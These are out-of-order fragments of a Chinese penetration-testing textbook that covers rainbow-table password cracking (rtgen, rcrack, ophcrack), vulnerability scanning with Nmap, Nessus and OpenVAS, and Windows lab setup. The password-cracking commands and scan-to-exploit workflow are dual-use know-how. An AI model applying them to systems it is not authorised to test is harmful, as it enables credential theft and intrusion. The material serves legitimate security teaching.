rainbow chains generated (0 m 16.0 s) 393216 of 400000 rainbow chains generated (0 m 16.2 s) 400000 of 400000 rainbow chains generated (0 m 3.4 s) 看到以上输出信息，则表示成功生成了一个基于NTLM的彩虹表，文件名为ntlm_numeric#6-8_0_3000x400000_0.rt。其中，该彩虹表默认保存在/usr/share/rainbowcrack目录中，具体如下： root@daxueba:~# cd /usr/share/rainbowcrack/ root@daxueba:/usr/share/rainbowcrack# ls alglib0.so charset.txt ntlm_numeric#6-8_0_3000x400000_0.rt rcrack readme.txt rt2rtc rtc2rt rtgen rtmerge rtsort 从输出的信息中可以看到生成的彩虹表文件ntlm_numeric#6-8_0_3000x400000_0.rt。使用rtgen生成的彩虹表是一串彩虹链。每条彩虹链都有一个起点和一个终点。此时，需要使用rtsort通过终点对彩虹链进行排序，使rcrack工具可以使用该彩虹表。使用rtsort工具对彩虹表进行排序的语法格式如下： rtsort path 以上语法中，参数path是指生成的彩虹表所在的目录。 使用rtsort对生成的彩虹表进行排序。执行命令如下： root@daxueba:/usr/share/rainbowcrack# rtsort . ./ntlm_numeric#6-8_0_3000x400000_0.rt: 756252672 bytes memory available loading data... sorting data... writing sorted data... 看到以上输出信息，则表示成功对生成的彩虹表进行了排序。"},
    {"text": "未知 4.5.3 使用彩虹表 当用户准备好彩虹表后，则可以使用彩虹表来破解密码。下面将介绍使用彩虹表的方法。 1.使用rcrack工具 rcrack是一个彩虹表密码破解工具。其支持的哈希算法有LM、NTLM、MD5、SHA1和SHA256等。对于使用rtgen工具生成的彩虹表，则需要使用rcrack工具来利用其彩虹表破解密码。rcrack工具的语法格式如下： rcrack path -lm/-ntlmpwdump_file 以上语法中的选项及含义如下： ·path：指定存储彩虹表（*.rc，*.rtc）的目录。如果是当前目录，则使用点（.）即可表示。 ·-lm pwdump_file：从pwdump文件中加载LM哈希值。其中，pwdump文件格式为<User Name>:<User ID>:<LM Hash>:<NT Hash>:::。 ·-ntlm pwdump_file：从pwdump文件中加载NTLM哈希值。 【实例4-11】 使用排序好序的彩虹表进行密码破解。执行命令如下： root@daxueba:/usr/share/rainbowcrack# rcrack . -ntlm /root/hash.txt 2.使用ophcrack工具 用户从ophcrack官网获取的彩虹表，需要使用ophcrack工具才可以利用其彩虹表来破解密码。其中，ophcrack工具的下载地址为 http://ophcrack.sourceforge.net/download.php 。当用户在浏览器中访问该地址后，将显示如图4.20所示的页面。 图4.20 ophcrack工具下载页面 从该页面中可以看到，ophcrack工具支持Windows、Linux/UNIX等系统，而且还提供了一个LiveCD。为了方便操作，这里将选择下载Windows版本的ophcrack工具。单击Windows(porttable)开始下载。下载完成后，其安装包名为ophcrack-3.8.0-bin.zip。用户无须安装，直接解压下载后的软件包即可启动该工具，而且该工具支持图形界面和命令行两种模式。其中，图形界面的启动程序名为ophcrack.exe；命令行模式的启动程序名为ophcrack_nogui.exe。下面介绍使用ophcrack的图形界面模式利用彩虹表暴力破解密码的方法。 【实例4-12】 使用ophcrack工具利用彩虹表暴力破解密码。具体操作步骤如下： （1）启动ophcrack工具。双击下载的ophcrack.exe程序，将弹出如图4.21所示的窗口。 图4.21 ophcrack主窗口 （2）单击Tables按钮，将打开彩虹表选择对话框，如图4.22所示。 图4.22 选择彩虹表 （3）该对话框共包括4列，分别是Table（彩虹表名）、Directory（彩虹表目录）、Status（状态）和Preload（预加载位置）。从该对话框中可以看到，目前还没有安装任何彩虹表，而且所有彩虹表前面的标记都为 （红色）。如果用户安装彩虹表后，那么对应的彩虹表前面将标记为 （绿色）。所以用户需要先选择要安装的彩虹表。这里选择安装XP free small彩虹表。选择XP free small，单击Install按钮，将弹出选择包含彩虹表的目录对话框，如图4.23所示。 图4.23 选择包含彩虹表的目录 （4）这里的彩虹表就是从ophcrack官网下载的对应彩虹表。在本例中的彩虹表目录为tables_xp_free_small。选择该目录，并单击“选择文件夹”按钮，将弹出如图4.24所示的对话框。 图4.24 成功安装彩虹表 （5）从Status列可以看到，XP free small彩虹表已被激活，而且该表前面的标记也显示为 。此时，单击OK按钮，返回到ophcrack工具的主窗口。然后在菜单栏中单击Load按钮，加载破解的哈希密码。单击Load按钮后，将展开一个下拉菜单，如图4.25所示。 图4.25 菜单栏 （6）该菜单栏中列出了用户可以加载密码的所有方式。其中，Single hash表示加载单个哈希值；PWDUMP file表示加载PWDUMP文件；Session file表示加载会话文件；Encrypted SAM表示加载加密的SAM文件；Local SAM with samdump2表示加载使用samdump2提取的本地SAM文件。例如，这里将选择破解单个哈希密码，单击Single hash命令，将弹出加载单个哈希密码对话框，如图4.26所示。 （7）在该对话框中给出了该工具支持的哈希密码格式。从对话框中可以看到，支持的密码格式有3种，分别是<LM Hash>、<LM Hash>:<NT Hash>和<User Name>:<User ID>:<LM Hash>:<NT Hash>:::(PWDUMP format)。用户可以使用任意一种方式来指定破解的哈希密码。例如，这里使用第3种方式，如图4.27所示。 图4.26 加载单个哈希密码对话框 图4.27 指定破解的哈希密码 （8）单击OK按钮，将弹出如图4.28所示的窗口。 （9）从该窗口中可以看到用户加载的哈希密码值。单击Crack按钮，将开始破解密码。破解成功后，效果如图4.29所示。 图4.28 添加的哈希密码 图4.29 破解成功 （10）从该窗口的LM Pwd1和NT Pwd列中可以看到，成功破解出了指定哈希值的密码。其中，破解出的密码为123456。 未知 第5章 漏洞扫描 漏洞扫描是渗透测试的一个重要阶段。如果用户确定目标主机存在漏洞，即可利用该工具对目标实施渗透，以便与目标主机建立连接，进而控制目标。Windows每个月会发布大量的漏洞信息。日积月累，漏洞成千上万，验证工作非常枯燥。用户可以借助一些工具来实施漏洞扫描，如Nmap、Nessus和OpenVAS。本章将介绍如何使用这些工具来实施漏洞扫描。"},
    {"text": "未知 5.1 使用Nmap Nmap是一款非常强大的网络扫描和嗅探工具包。该工具自带了简单的漏洞扫描功能，可以用来扫描有限的漏洞。用于实施漏洞扫描的语法格式如下： nmap --script=vuln <target> 以上语法中，--script选项用来指定使用的脚本。其中，vuln表示实施漏洞分类扫描。 【实例5-1】 使用Nmap的漏洞脚本扫描目标主机192.168.1.9中的漏洞。执行命令如下： root@daxueba:~# nmap --script=vuln 192.168.1.9 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-15 18:39 CST Nmap scan report for daxueba-m2hbp5n (192.168.1.9) Host is up (0.00016s latency). Not shown: 994 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 3389/tcp open ms-wbt-server |_sslv2-drown: 5000/tcp open upnp MAC Address: 00:0C:29:7B:C9:0F (VMware) Host script results: #脚本检测结果 | smb-vuln-ms08-067: #漏洞脚本 | VULNERABLE: #漏洞摘要信息 | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE #状态 | IDs: CVE:CVE-2008-4250 #漏洞的CVE ID | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 #公开时间 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug) | smb-vuln-ms17-010: #漏洞脚本 | VULNERABLE: #漏洞摘要信息 | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE #状态 | IDs: CVE:CVE-2017-0143 #漏洞的CVE ID | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 #公开时间 | References: | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer- guidance-for-wannacrypt-attacks/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 Nmap done: 1 IP address (1 host up) scanned in 16.36 seconds 从输出的信息中可以看到扫描到的目标主机的漏洞信息。这两个漏洞分别是MS08-067和MS17-010。 Nmap还支持将扫描结果输出为一个XML报告文件。这样，用户可以将该扫描报告导入Metasploit框架中，以实施漏洞利用。例如，将扫描结果保存到nmap.xml文件中，执行命令如下： root@daxueba:~# nmap --script=vuln 192.168.1.9 -oX nmap.xml 未知 5.2 使用Nessus Nessus是一款功能非常强大、易于使用的远程安全扫描器。该工具不仅免费，而且更新还非常快。Nessus提供了大量的漏洞插件库，可以用来检测Windows的大量漏洞。本节将介绍如何使用Nessus对Windows系统漏洞进行扫描。"},
    {"text": ") 准备解压 Nessus-8.7.1-debian6_amd64.deb ... 正在解压 nessus (8.7.1) ... 正在设置 nessus (8.7.1) ... Unpacking Nessus Scanner Core Components... - You can start Nessus Scanner by typing /etc/init.d/nessusd start - Then go to https://daxueba:8834/ to configure your scanner 正在处理用于 systemd (241-7) 的触发器 ... 看到以上输出信息，则表示Nessus工具安装成功。"},
    {"text": "然后在地址栏中访问https://daxueba:8834/网址，即可配置Nessus工具。 2.配置Nessus服务 当用户成功安装Nessus服务后，还需要进行配置后才可以使用该工具。"},
    {"text": "单击Add Execption按钮，将弹出添加安全例外对话框，如图5.5所示。 （4）在其中单击Confirm Security Exception按钮，将弹出Nessus设置界面，如图5.6所示。"},
    {"text": "图5.5 添加安全例外 图5.6 选择产品 （5）其中显示的是Nessus的所有版本，包括Nessus Essentials（Nessus免费版）、Nessus Professional（Nessus专业版）、Nessus Manager（Nessus管理台）和Managed Scanner（被管理的扫描者器）。"},
    {"text": "提示： 用户也可以在Nessus官网上手动获取激活码。 获取激活码的地址为 https://zh-cn.tenable.com/products/nessus/activation-code?tns_redirect=true 。"},
    {"text": "（7）在图5.8中输入获取的激活码，并单击Continue按钮，将弹出创建用户界面，如图5.10所示。 图5.10 创建账户 （8）该界面用来创建一个账号，用于管理Nessus服务。"},
    {"text": "设置完成后，单击Submit按钮，将开始初始化Nessus，如图5.11所示。 图5.11 初始化Nessus （9）从图5.11中可以看到正在下载插件和初始化。"},
    {"text": "例如，这里指定扫描目标主机192.168.80.0/24网段中的活动主机，如图5.13所示。 图5.13 指定扫描目标 （11）单击Submit按钮，将开始扫描指定的目标主机。 扫描完成后，将显示活动主机，如图5.14所示。 图5.14 扫描结果 （12）从该对话框中可以看到扫描出的所有活动主机。"},
    {"text": "扫描完成后，显示如图5.15所示的界面。 图5.15 扫描完成 （13）从该界面中可以看到，成功扫描出了目标主机192.168.80.149中的漏洞。 此时，返回到扫描界面，即可看到有两个扫描任务，如图5.16所示。 图5.16 扫描任务列表 （14）从该界面中可以看到两个扫描任务，其名称分别为My Basic Network Scan和My Host Discovery Scan。"},
    {"text": "未知 5.2.2 新建扫描策略 用户在实施漏洞扫描之前，需要创建扫描策略和扫描任务。Nessus默认提供了针对特定漏洞的扫描模板，而且用户也可以手动创建。为了能有效地提高扫描效率，本节将介绍如何定制针对Windows系统的扫描模板，以实施漏洞扫描。 新建策略是扫描之前最主要的步骤。简单地说，策略就是使Nessus工具达到最佳化的配置，从而对目标实施漏洞扫描。下面将介绍新建扫描策略的方法。 【实例5-3】 新建Windows扫描策略。具体操作步骤如下： （1）登录Nessus服务。在浏览器中输入“https://IP:8834/”，访问成功后，将弹出登录界面，如图5.18所示。 图5.18 Nessus登录界面 （2）在其中输入登录Nessus服务的用户名和密码，并单击Sign In按钮，将成功登录该服务，如图5.19所示。 图5.19 Nessus主界面 （3）在左侧栏中选择Policies选项，将进入扫描策略列表界面，如图5.20所示。 图5.20 扫描策略列表 （4）从该界面中可以看到，默认是没有创建任何策略。单击右上角的New Policy按钮，将进入策略模块界面，如图5.21所示。 （5）从该界面中可以看到Nessus默认提供的所有策略模板。这些策略模板被分为发现（DISCOVERY）、漏洞（VULNERABILITIES）和合规性（COMPLIANCE）三类，而且每个策略模板都有简单介绍。其中，策略模版右上角有UPGRADE标记的模版，表示免费版Nessus工具不可以使用。这里选择使用Advanced Scan策略模板，创建新的策略。单击Advanced Scan策略模版，将进入新建扫描策略界面，如图5.22所示。 图5.21 策略模版 图5.22 新建扫描策略 （6）在该界面中指定扫描策略的名称和描述信息。通过选择左侧的其他选项，可以设置扫描主机、端口及服务等方式。选择Credentials和Plugins标签还可以设置认证信息及使用的插件库。 未知 5.2.3 添加Windows认证信息 对Windows系统受保护的资源进行扫描时，服务器需要进行身份认证。此时，用户需要在Nessus中提供对应的认证信息。Nessus支持的Windows认证方式有4种，分别是Kerberos、LM Hash、NTLM Hash和Password。下面介绍每种认证方式的含义及添加的方法。 1.Kerberos认证 Kerberos是一种基于票据（Ticket）的认证方式。客户端要访问服务器的资源，需要首先购买服务端认可的ST服务票据。也就是说，客户端在访问服务器之前需要预先买好票，等待服务器验票之后才能入场。但是这张票不能直接购买，需要一张TGT认购权证（Ticket Granting Ticket)。也就是说，客户端在买票之前必须先获得一张TGT认购权证。这张TGT认购权证和ST服务票据均由KDC发售。这种认证方式通常被应用在域环境中。 （1）在新建策略界面中选择Credentials标签，将打开配置认证选项卡，如图5.23所示。 图5.23 认证选项卡 （2）在左侧栏中选择Windows认证，在右侧将显示对应的认证选项卡，如图5.24所示。 （3）在Authentication method的下拉列表框中选择认证方式。如果使用Kerberos认证方式，则选择Kerberos选项，将进入如图5.25所示的界面。 图5.24 添加Windows认证 图5.25 Kerberos认证 从图5.25中可以看到，使用该认证方式需要指定用户名、密码、KDC（密钥颁发机构）、KDC端口、KDC传输协议和域名。 2.LM Hash认证 LM Hash主要应用在Vista以前的Windows操作系统中。Vista之后的版本默认都禁用LM协议，但在某些情况下还可以使用。在Authentication method下拉列表框中选择LM Hash，即可添加LM Hash认证，如图5.26所示。 图5.26 LM Hash认证 从图5.26中可以看到，用户必须指定用户名和Hash值。 3.NTLM Hash认证 NTLM Hash是Vista以上操作系统使用的哈希加密方式。在Authentication method下拉列表框中选择NTLM Hash，即可添加NTLM Hash认证方式，如图5.27所示。可以看到，使用该认证方式必须指定用户名和Hash值。 4.Password认证 Password就是通常人们使用的用户名和密码方式。在Authentication method下拉列表框中选择Password，即可使用Password认证方式，如图5.28所示。 图5.27 NTLM Hash认证 图5.28 使用Password认证方式 使用该认证方式时必须指定用户名和密码。用户可以添加多个认证信息。再次选择左侧的Windows认证，即可添加多个Windows认证信息。"},
    {"text": "未知 5.2.4 设置Windows插件库 为了提高扫描效率，这里将添加针对Windows系统的插件库。选择Plugins标签，将打开插件选项卡，如图5.29所示。 图5.29 设置扫描插件 该界面中显示了Nessus支持的所有插件族，而且默认为全部都已启用（状态为ENABLED）。为了提高扫描效率，用户可以设置仅启用扫描Windows漏洞的插件族。为了方便用户更容易选择启用的插件，这里将简要介绍用于扫描Windows漏洞的插件族及含义，如表5.1所示。设置时，首先单击右上角的Disable All按钮，禁用所有插件和所有插件族，然后启用特定的插件族。单击Disable All按钮，将进入如图5.30所示的界面。 表5.1 扫描Windows漏洞插件组 图5.30 禁用所有插件族 从该界面中可以看到，所有插件族都变为了灰色，并显示为DISABLED（被禁用）。此时启用所有用于扫描Windows漏洞的插件族。设置完成后，效果如图5.31所示。 用户还可以对插件族中的插件进行设置，指定禁用或启用的特定插件。在左侧列表中选择插件族，右侧列表中将显示该插件族中的所有插件。例如，这里选择Windows插件族，将显示如图5.32所示的界面。 图5.31 启用特定插件族 图5.32 Windows插件族的插件列表 在右侧栏中显示的是Windows插件族的所有插件。此时，用户可以选择启用或禁用特定插件。例如，禁用Adobe Reader Enabled in Browser (Opera)插件。单击Adobe Reader Enabled in Browser (Opera)插件名即可禁用，如图5.33所示。 图5.33 禁用特定插件 从该界面中可以看到，Adobe Reader Enabled in Browser (Opera)插件的状态为DISABLED（禁用），而且对应的插件组Windows颜色显示为紫色，状态为MIXED（混合）。当对插件设置完成后，单击Save按钮，则扫描策略创建成功，如图5.34所示。 图5.34 创建的扫描策略 从该界面中可以看到，成功创建了一个名为Windows Scan的扫描策略。"},
    {"text": "未知 1.4.2 搭建Windows靶机 当用户将VMware软件安装完成后，即可搭建靶机。 在搭建Windows靶机之前，先介绍下VMware支持的Windows系统及默认配置，如磁盘容量、内存大小及CPU数。 这样，在安装靶机之前，用户可以预估自己的计算机所能承载的主机数量，以免导致系统运行出现卡顿或死机等问题。"},
    {"text": "表1.5 Windows操作系统安装默认配置 图1.10 安装完成向导 当用户对所有Windows版本的配置了解清楚后，则可以根据自己的需要及计算机的配置来搭建其靶机。"},
    {"text": "例如，选择下载语言为中文简体、Windows 10企业版，64位架构的安装包，则单击Windows 10 Enterprise (x64)-DVD (Chinese-Simplified)中的详细信息按钮，将显示如图1.12所示的界面。"},
    {"text": "具体操作步骤如下： （1）启动VMware虚拟机，将显示如图1.13所示的窗口。 （2）在该窗口中单击“创建新的虚拟机”按钮，或者在菜单栏中依次选择“文件(F)”|“新建虚拟机(N)”命令，创建新的虚拟机。 单击“创建新的虚拟机”按钮，将弹出“欢迎使用新建虚拟机向导”对话框，如图1.14所示。 图1.13 VMware的主窗口 （3）在该对话框中选择新建虚拟机的类型。"},
    {"text": "这里选择“典型”类型，单击“下一步”按钮，进入安装来源对话框，如图1.15所示。 图1.14 设置虚拟机的类型 图1.15 设置安装来源 （4）在该对话框中选择安装客户机的来源，即插入安装镜像文件的方法。"},
    {"text": "然后单击“下一步”按钮，进入“命名虚拟机”对话框，如图1.17所示。 图1.16 设置客户机操作系统 图1.17 “命名虚拟机”对话框 （6）在该对话框中需要为虚拟机创建一个名称，并设置虚拟机的安装位置。"},
    {"text": "如果用户要安装其他软件，或者存放大文件的话，可以修改该磁盘大小，然后单击“下一步”按钮，进入“已准备好创建虚拟机”对话框，如图1.19所示。 图1.18 指定磁盘容量 图1.19 “已准备好创建虚拟机”对话框 （8）该对话框中显示了新创建虚拟机的详细信息。 单击“完成”按钮，即可看到创建的虚拟机，如图1.20所示。 图1.20 新建的虚拟机 （9）图1.20中显示的为新创建的Windows虚拟机。"},
    {"text": "单击“编辑虚拟机设置”项，将弹出“虚拟机设置”对话框，如图1.21所示。 图1.21 “虚拟机设置”对话框 （10）在该对话框中用户可以对该系统的硬件进行设置，如对内存、处理器和硬盘等进行调节。"},
    {"text": "图1.22 加载镜像文件 （11）在该对话框的连接部分选择“使用ISO映像文件(M)”单选按钮，并单击“浏览”按钮选择Windows 10的镜像文件，然后单击“确定”按钮，将返回如图1.20所示的对话框。"},
    {"text": "此时，单击“开启此虚拟机”，弹出如图1.23所示的对话框，开始安装操作系统。 图1.23 Windows安装程序 （12）单击“下一步”按钮，进入如图1.24所示的界面。 图1.24 准备安装 （13）单击“现在安装”按钮，进入“许可条款”对话框，如图1.25所示。 图1.25 “许可条款”对话框 （14）勾选“我接受许可条款”复选框，并单击“下一步”按钮，进入“你想执行哪种类型的安装？"},
    {"text": "单击“确定”按钮，即可看到创建的所有分区，如图1.30所示。 图1.28 指定分区大小 图1.29 提示对话框 图1.30 创建的分区 （19）可以看到，系统自动创建了4个分区。"},
    {"text": "此时，选择系统将要安装的分区。 因为操作系统只能安装到主分区，所以选择分区类型为主分区的分区4，单击“下一步”按钮，将开始安装操作系统，如图1.31所示。"},
    {"text": "图1.31 正在安装Windows系统 （20）安装完成后，将弹出“快速上手”设置对话框，如图1.32所示。 图1.32 “快速上手”对话框 （21）单击“使用快速设置”按钮，将重新启动系统。 当系统重新启动后，将弹出“选择您连接的方式”对话框，如图1.33所示。"},
    {"text": "图1.33 “选择您连接的方式”对话框 （22）在其中选择“加入本地Active Directory域”选项，并单击“下一步”按钮，进入“为这台计算机创建一个账户”对话框，如图1.34所示。 图1.34 “为这台计算机创建一个账户”对话框 （23）在该对话框中创建一个新的账户，并设置密码和密码提示。"},
    {"text": "未知 5.2.5 新建扫描任务 当用户将Windows策略模板创建成功后，即可创建对应的扫描任务，以对Windows目标主机实施漏洞扫描。 【实例5-4】 新建扫描任务。具体操作步骤如下： （1）登录Nessus服务，将打开Nessus主界面，如图5.35所示。 图5.35 Nessus主界面 （2）Nessus默认没有创建任何扫描任务。此时，单击右上角的New Scan按钮，将打开扫描模板界面，如图5.36所示。 图5.36 扫描模版 （3）该界面有两个标签，分别是Scanner和User Defined。其中，Scanner标签中显示的是Nessus默认提供的所有扫描模板，并且将所有模板分为3类，分别是发现（DISCOVERY）、漏洞（VULNERABILITIES）和合规性（COMPLIANCE）；User Defined部分显示了用户创建的模板。用户可以选择任意一个模板来创建对应的扫描任务。这里将使用前面创建的Windows模板来创建扫描任务。选择User Defined标签，将显示用户定义选项卡，如图5.37所示。 图5.37 用户定义的扫描策略模板 （4）从该界面中可以看到在前面创建的策略模板Windows Scan。单击该模板，将显示新建扫描任务界面，如图5.38所示。 图5.38 新建扫描任务 （5）在该界面中指定扫描的名称、描述、文件夹和目标。这里指定扫描的名称为Windows Vuln Scan，目标为192.168.1.0/24。然后单击Save按钮，即可看到创建的扫描任务，如图5.39所示。 图5.39 新创建的扫描任务 （6）从该界面中可以看到新创建的Windows Vuln Scan扫描任务。接下来用户即可使用该扫描任务实施漏洞扫描了。 未知 5.2.6 实施扫描 当用户成功创建扫描任务后，即可开始实施扫描了。下面将以前面创建的扫描任务为例，对目标实施漏洞扫描。 【实例5-5】 实施漏洞扫描。具体操作步骤如下： （1）打开扫描任务列表界面，如图5.40所示。 图5.40 扫描任务列表 （2）这里将使用名为Windows Vuln Scan的扫描任务实施扫描。单击该扫描任务右侧的启动按钮 ，将开始实施漏洞扫描，如图5.41所示。 （3）从该界面中可以看到，该扫描任务正在运行，状态为 。当扫描完成后，将显示如图5.42所示的界面。 图5.41 正在实施扫描 图5.42 扫描完成 （4）从该界面中可以看到 ，扫描状态显示为，即扫描完成。 未知 5.2.7 解读扫描报告 当用户扫描完成后，即可查看漏洞扫描报告。通过分析漏洞扫描报告，根据漏洞的安全级别，即可知道目标主机中是否存在非常严重的漏洞，而且根据漏洞报告还可以查找对应的漏洞编号，然后即可利用该漏洞做进一步攻击。下面将对前面的扫描结果进行分析。 【实例5-6】 分析扫描报告。具体操作步骤如下： （1）在扫描任务列表中，单击扫描任务Windows Vuln Scan，将打开漏洞主机列表界面，如图5.43所示。 （2）从该界面中可以看到扫描出了局域网192.168.1.0/24中的所有漏洞主机。其中，Host列显示为漏洞主机的IP地址；Vulnerabilities列显示为主机中的漏洞情况。每种颜色表示不同级别的漏洞，颜色中的数字表示该级别中的漏洞个数。右侧显示了扫描的详细信息（Scan Details）和漏洞信息（Vulnerabilities）。从扫描信息中可以看到使用的策略、扫描状态、扫描者及扫描的所有时间等；从漏洞信息中可以看到每种级别的漏洞所占的百分比。用户只需要将光标放在不同的颜色上，即可看到所占的百分比。在该圆形图右侧显示了不同颜色所代表的漏洞级别，依次为Critical（非常严重，红色）、High（比较严重，黄橙）、Medidum（中等的，黄色）、Low（中低的，绿色）、Info（信息，蓝色）。此时，单击主机地址，即可查看对应主机的漏洞列表。例如，查看主机192.168.1.10的漏洞列表，单击主机192.168.1.10，将显示该主机的漏洞列表，如图5.44所示。 图5.43 漏洞列表1 图5.44 漏洞列表2 （3）从该界面中可以看到当前主机中的漏洞列表。该界面包括4列，分别为Sev（漏洞级别）、Name（插件名称）、Family（插件族）和Count（漏洞个数）。此时，单击任意一个漏洞即可看到该漏洞的详细信息。例如，这里查看第一个漏洞的详细信息，效果如图5.45所示。 图5.45 漏洞详细信息 （4）该界面显示了MS03-026漏洞的详细信息。在左侧部分为该漏洞的描述信息（Description）、解决方法（Solution）、输出信息（Output）及对应开放的端口信息（Port）。在右侧的版本中显示了3部分信息，分别是插件详情（Plugin Details）、风险信息（Risk Information）和漏洞信息（Vulnerability Information）。"},
    {"text": "未知 5.2.8 生成扫描报告 Nessus支持用户将扫描结果生成报告文件。其中，支持生成的报告格式有5种，分别是PDF、HTML、CSV、Nessus和Nessus DB。为了方便后续对扫描结果进行分析，用户可以选择使用自己喜欢的方式来生成对应的扫描报告，而且还可以将生成的扫描报告导入到一些第三方工具（如Metasploit）中用来实施漏洞利用。下面将介绍生成扫描报告的方法。 【实例5-7】 生成PDF扫描报告。具体操作步骤如下： （1）在扫描漏洞主机界面单击Report下拉按钮，将展开一个下拉列表框，如图5.46所示。 图5.46 Report下拉列表框 （2）从该下拉列表框中可以看到Nessus支持导出的报告格式。这里选择PDF选项，将弹出生成PDF报告对话框，如图5.47所示。 （3）在该对话框中可以选择生成的报告方式。其中，可以指定的值有Executive Summary（综合性总结）和Custom（自定义）。这里选择Custom格式，将显示如图5.48所示的对话框。 图5.47 生成PDF报告 图5.48 自定义报告 （4）在该对话框中可以设置导出的数据类型、报告漏洞分组方式及漏洞详情等。这里将选择导出的数据包括Vulnerabilities（漏洞）和Remediations（补救措施）；漏洞分组方式为Host，并且包括Scan Information（扫描信息）和Host Information（主机信息）；选择所有漏洞详情。然后单击Generate Report按钮，将弹出保存扫描报告文件对话框，如图5.49所示。 图5.49 保存扫描报告 （5）在该对话框中选择Save File单选按钮，并单击OK按钮，即可成功导出漏洞扫描报告。 【实例5-8】 为了方便第三方工具使用该漏洞报告，这里将导出为Nessus格式。具体操作步骤如下： （1）在扫描漏洞主机界面，单击Export下拉按钮，将展开一个下拉列表框，如图5.50所示。 图5.50 导出报告格式 （2）从下拉列表框中可以看到，支持导出的格式有Nessus和Nessus DB。这里选择Nessus选项，将弹出保存该报告文件的对话框，如图5.51所示。 图5.51 保存报告文件 （3）在该对话框中，选择Save File单选按钮，并单击OK按钮，即可成功导出该报告文件。 未知 5.3 使用OpenVAS OpenVAS（Open Vulnerability Assessment System）是开放式漏洞评估系统，其核心部件是一个服务器，包括一套网络漏洞测试程序，可以远程检测系统和应用程序中的安全问题。本节将介绍使用OpenVAS实施漏洞扫描的方法。"},
    {"text": "另外，当安装成功后，还需要对OpenVAS服务进行简单配置，如更新插件库、初始化密码等。 下面将介绍安装及配置OpenVAS的方法。 1.安装OpenVAS Kali Linux软件源提供了OpenVAS的安装包。"},
    {"text": "执行命令如下： root@daxueba:~# openvas-setup [>] Updating OpenVAS feeds #更新OpenVAS插件 [*] [1/3] Updating: NVT --2019-08-14 19:57:07-- http://dl.greenbone.net/community-nvt-feed-current. tar.bz2 正在解析主机 dl.greenbone.net (dl.greenbone.net)... 89.146.224.58, 2a01: 130:2000:127::d1 正在连接 dl.greenbone.net (dl.greenbone.net)|89.146.224.58|:80... 已连接。 已发出 HTTP 请求，正在等待回应... 200 OK 长度：22225344 (21M) [application/octet-stream] 正在保存至: “/tmp/greenbone-nvt-sync.Sy5NHHRpc6/openvas-feed-2019-08-14- 27015.tar.bz2” /tmp/greenbone-nvt-sync.Sy5NHH 100%[==================================>] 21.20M 3.60MB/s 用时 5.9s 2019-08-14 19:57:17 (3.60 MB/s) - 已保存 “/tmp/greenbone-nvt-sync.Sy5NHHRpc6/ openvas-feed-2019-08-14-27015.tar.bz2” [22225344/22225344]) 2008/ 2008/secpod_ms08-054_900045.nasl 2008/secpod_goodtech_ssh_sftp_mul_bof_vuln_900166.nasl 2008/secpod_pi3web_isapi_request_dos_vuln_900402.nasl 2008/gb_twiki_xss_n_cmd_exec_vuln.nasl …//省略部分内容 8月 14 21:19:25 daxueba systemd[1]: Starting Open Vulnerability Assessment System Scanner Daemon... 8月 14 21:19:25 daxueba systemd[1]: openvas-scanner.service: Can't open PID file /run/openvassd.pid (yet?) after start: No such file or directory 8月 14 21:19:25 daxueba systemd[1]: Started Open Vulnerability Assessment System Scanner Daemon. ● openvas-manager.service - Open Vulnerability Assessment System Manager Daemon Loaded: loaded (/lib/systemd/system/openvas-manager.service; disabled; vendor preset: disabled) Active: active (running) since Wed 2019-08-14 21:19:27 CST; 14s ago Docs: man:openvasmd(8) http://www.openvas.org/ Process: 29332 ExecStart=/usr/sbin/openvasmd --listen=127.0.0.1 --port= 9390 --database=/var/lib/openvas/mgr/tasks.db (code=exited, status=0/SUCCESS) Main PID: 29333 (openvasmd) Tasks: 1 (limit: 2287) Memory: 77.2M CGroup: /system.slice/openvas-manager.service └─29333 openvasmd 8月 14 21:19:25 daxueba systemd[1]: Starting Open Vulnerability Assessment System Manager Daemon... 8月 14 21:19:25 daxueba systemd[1]: openvas-manager.service: Can't open PID file /run/openvasmd.pid (yet?) after start: No such file or directory 8月 14 21:19:27 daxueba systemd[1]: Started Open Vulnerability Assessment System Manager Daemon. [*] Opening Web UI (https://127.0.0.1:9392) in: 5... 4... 3... 2... 1... [>] Checking for admin user [*] Creating admin user #创建的用户 User created with password 'bb230b4d-3bd7-4ac6-9cc7-d5ac8356005b'. #用户密码 [+] Done 从输出的信息中可以看到，该过程中下载了大量的文件并更新了所有插件库。"},
    {"text": "检测OpenVAS的配置，执行命令如下： root@daxueba:~# openvas-check-setup openvas-check-setup 2.3.7 Test completeness and readiness of OpenVAS-9 (add '--v6' or '--v7' or '--v8' if you want to check for another OpenVAS version) Please report us any non-detected problems and help us to improve this check routine: http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss Send us the log-file (/tmp/openvas-check-setup.log) to help analyze the problem. Use the parameter --server to skip checks for client tools like GSD and OpenVAS-CLI. Step 1: Checking OpenVAS Scanner ... OK: OpenVAS Scanner is present in version 5.1.3. OK: redis-server is present in version v=5.0.5. OK: scanner (kb_location setting) is configured properly using the redis-server socket: /var/run/redis-openvas/redis-server.sock OK: redis-server is running and listening on socket: /var/run/ redis-openvas/redis-server.sock. OK: redis-server configuration is OK and redis-server is running. OK: NVT collection in /var/lib/openvas/plugins contains 52034 NVTs. WARNING: Signature checking of NVTs is not enabled in OpenVAS Scanner. SUGGEST: Enable signature checking (see http://www.openvas.org/ trusted-nvts.html). WARNING: The initial NVT cache has not yet been generated. SUGGEST: Start OpenVAS Scanner for the first time to generate the cache. Step 2: Checking OpenVAS Manager ... 